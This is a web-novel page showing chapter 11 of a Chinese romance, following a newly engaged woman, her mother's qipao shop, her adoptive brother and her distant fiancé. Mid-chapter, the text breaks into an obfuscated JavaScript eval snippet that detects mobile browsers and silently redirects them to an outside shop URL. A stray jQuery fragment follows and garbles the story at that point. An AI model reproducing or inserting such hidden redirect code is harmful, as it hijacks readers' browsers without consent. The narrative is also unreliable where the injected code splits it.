文趣网 > 都市小说 > 新婚有孕 > 11. 第 11 章
    跟老太太道别后,禾漱没麻烦李叔开车送,自己打了辆车往李元亦那边赶。

    李元亦的旗袍店开在老城安静的胡同口,门头那块老旧木匾,是禾漱曾祖父亲手刻的,长年风吹日晒,木色都磨柔和了。

    店铺不大,从外到里都打理得干干净净。店里一整面墙都挂着旗袍,全是真丝、织锦、苏绣这类上等布料。那些有身份地位的夫人太太,都爱来这儿找李元亦定制旗袍。

    里面摆着两台老式脚踏缝纫机,角落靠着一张布艺沙发床,李元亦不回家的时候就躺在那儿休息。

    禾漱推开门进去,李元亦正坐在缝纫机前踩着踏板,手推着绸缎赶活,头都没怎么抬:“怎么跑这儿来了?”

    禾漱手里拎着个保温壶,是临走前谈谷绣让佣人装好的鸡汤,她把壶放到旁边木桌上:“汤炖得挺好,您喝点。”

    李元亦停下手里的活,抬眼看着保温壶,不由得笑了下:“是你炖的?要嫁人了,倒是学会下厨了?”

    “今晚在谈家老宅吃饭,老太太特意让我带回来的。”

    李元亦伸手捋平布料上的褶皱,指尖抚过顺滑的绸缎,“这么看,你跟婆家这边相处得倒是不错。”

    她继续踩着缝纫机,又道:“自从你跟叙川订了婚,来我这儿做旗袍的人一下多了不少。不少人借着做衣服的由头上门,顺带拎来各样贵重礼物,说白了就是想靠我这个谈家亲家攀关系。”

    以前也常有客人送东西,她们这样的干部家庭,私下收礼是大忌。李元亦在这方面拎得清,从来不会收。万一收下这些东西,哪天被人举报,禾嵘的前程就全毁了。

    禾嵘很早之前就劝她把铺子关掉,安心在家做全职太太。可这店是李家一代代传下来的,一向事事迁就丈夫的李元亦,唯独在这件事上跟他争了一回。也因为这事,禾嵘对她愈发冷淡。

    这次吵架,是因为她给一位口碑不好的人物的太太做了旗袍。禾嵘不愿和这类人扯上关联,现在禾家和谈家马上要联姻了,更要处处避嫌,免得招来闲言碎语。

    她又不清楚那人在外头那些是非,这位太太还是她老同学,专程过来只是做件旗袍,清清白白的买卖,没必要刻意回避。

    争执时禾嵘话说得很重,李元亦心里委屈,一气之下直接收拾东西来店里住。

    不等禾漱开口,她直接点破她的来意:“是你哥让你来劝我回家的吧?”

    “我是不会回去的。”她态度十分坚定。

    禾漱替她说出了下一句:“除非我爸亲自过来,跟您低头认错。”

    李元亦没说是,也没说不是。

    “妈,其实我不是来劝您回家的。”禾漱从包里摸出一张银行卡,递到她面前,“这是我的工资卡,密码是我和我哥的生日日期,您拿着。这段时间您别在店里凑合,去酒店住,我爸要是不低头,您就别搭理他。”

    李元亦看都没看,直接推开了那张卡,“你这丫头怎么回事?我要是搬去酒店住,不就摆明跟你爸对着干,这样他只会更生气。”

    她无奈一笑:“小漱,你是巴不得我们俩彻底翻脸呀?”

    “您这句话还真没说错。”禾漱嘴角微微一扬,“我还真希望你俩能离婚。”

    李元亦脸色一下变了:“哪有你这样当孩子的?居然盼着自己爸妈分开。”

    这话一出,禾漱再次明白这是一个愿打一个愿挨了,再劝也是多余。

    “挺晚了,您早点打烊休息。”她站了起来,“明天让我哥弄张床过来,您能睡舒服点。”

    “汤拿走,我不喝。”李元亦别过头,还在气她刚刚那句话。

    就在这时,店门被人从外面推开,禾沥走了进来。

    他目光一抬,先和禾漱对上视线,一下就感觉出她们的气氛不对,低声问:“妈,怎么了?你们吵架了?”

    李元亦冷哼:“你妹没良心,想要我和你爸离婚。”

    禾漱没解释,先走了出去。

    这个季节的胡同冷冷清清的,巷头巷尾草木凋零,看着莫名让人心里发空。

    她站在巷口,双手插进外套口袋,仰头望着从墙那边探出来的老槐树。看得久了,脖子发酸,才看见禾沥从店里走出来。

    他帮李元亦收拾好东西,关上店门后背上背包,挺拔的身形立在夜色里,显得清俊沉稳。

    他快步走过来,嗓音低缓:“还没走?我还以为你早就回去了。”

    禾漱抬眼看他,弯唇道:“好不容易见一次哥哥,我不急着走。”

    刮过来的风很凉,她穿得单薄,刚说完就忍不住打了个喷嚏。

    禾沥眸光微沉,抬手解下自己脖子上的深色围巾,下意识想给禾漱戴上。

    禾漱偏头躲开,几缕被风吹来的长发扑到眼前,她抬手捋到耳后,笑意浅浅:“我已经订婚了,哥哥你也不是我的亲哥哥,我们得注意点分寸。”

    禾沥动作一顿,收回围巾,随意搭在自己臂弯处。

    禾漱率先迈步往巷外走,刚拐过街口,看见路边开着一家亮灯的奶茶店。

    她侧头看向禾沥:“我想喝。”

    禾沥点头,让她站在这里等,自己穿过马路,去对面排队。

    没等几分钟,包里的手机突然震动起来,拿出来一看,屏幕上显示着谈叙川的名字。

    禾漱没有立刻接,抬眸望向马路对面禾沥的身影,看着他付完钱,拎好奶茶,确认来往车辆后往这边走来,她这才按下接听键。

    她心里清楚,这通电话十有八九是谈谷绣吩咐谈叙川打的,不可能是来哄她的。

    听筒贴到耳边,她先开口:“喂。”

    下一秒,凉意钻进来,她偏头又打了个喷嚏。

    那头安静了一会儿,然后谈叙川的声音才不紧不慢地传过来,像是刚翻了个身,把脸从枕头里抬起来,鼻音很重:“你也着凉了?”

    马路上,禾沥被一辆不礼让的车子逼停,在原地顿了两秒才继续走。禾漱“嗯”了声。

    谈叙川那边传来玻璃杯碰撞台面的声响,他下床倒了杯温水:“还气呢?”

    禾漱:“没有。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17693938|207948||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    用这样低低闷闷的声音回答,可不就是生着闷气?

    禾沥已经走到跟前,手里的奶茶插好了吸管,递到她手边,目光落在她举着手机的手上。

    “好,你说没有那就是没有。”谈叙川似乎轻笑了下,“天凉就多添衣,备着孕呢,病了耽误的是我的事。”

    这话要是落在对谈叙川有情的女孩儿耳朵里,必然会被他的凉薄戳得心口发疼。禾漱内心波澜不大,但默默把谈叙川归到了渣男那一类里。

    她吸了吸鼻子,神色黯然:“我知道了。”

    “要真不舒服就让徐姐陪你上医院瞧瞧。”

    “挂了,我还有事。”

    说完这两句,谈叙川切断了通话。

    禾沥察觉到禾漱情绪突然变得低落,“怎么了?”

    禾漱把手机塞回包里,没急着说话,低头喝了口温热的奶茶。再抬起眼时,眼圈微微泛着红。

    “是叙川哥。”

    “他今早去洛杉矶了,说要等婚礼才回来。”

    “晚上我去了谈家老宅……”说到这里她停住了,垂下眼,睫毛挡着视线,过了一会儿才继续:“因为这个事,被人嘲笑了。”

    禾沥眉头蹙起,唇线紧抿着。

    禾漱用力咬了下嘴唇,看向他,眼眶里那层水光晃了晃,颤声说:“哥,我是不是太任性了?”

    话音一落,眼泪就掉了下来。

    这几滴泪很及时,好似她真的在懊悔当初的决定。

    风从两人之间穿了过去,禾漱注意到面前的男人攥紧了拳头,而他那双深邃的眼眸中,流露出了太多复杂的情绪。

    她擦了泪,笑着说:“走吧,我得早点回去。否则真的感冒了,影响了备孕,叙川哥会生气的。”

    没等禾沥开口,她已经抬脚往前走。他跟在后面,一直送到车门边,扶着车门交代出租车司机开慢一些,然后弯下腰,低声对她说:“叙川那边我会和他沟通。”

    他喉结滚动了一下。

    “以哥哥的身份。”

    等出租车启动,禾漱转头看向车后。禾沥还站在原地,望着这边。她收回目光,靠着车窗,闭上了湿透的双眼。

    温热的奶茶握在手里,已经凉了大半。

    究竟要怎么做,她才能得偿所愿?

    时间过得很快。

    禾漱白天在学校忙工作,偶尔被喊去谈家,坐着听谈谷绣和婚礼策划师敲定婚礼的各种安排。回到小独栋,陈姨会炖各种滋补的汤给她喝。

    转眼十天就过去了,谈叙川安排了车,清早就来接她去医院做孕检。

    检查结果显示没怀孕时,她险些当着医生的面笑出了声。

    谈叙川要是知道自己的精子也没厉害到一次就中的地步,心情会是怎么样?

    禾漱回家把检查结果拍下发给了他,等了很久都没收到回复。她在书房备了大半天的课,谈叙川的电话才打了过来。

    她先发制人,软着嗓音抱怨:“如果你那时多留几天,结果或许就不会这样。”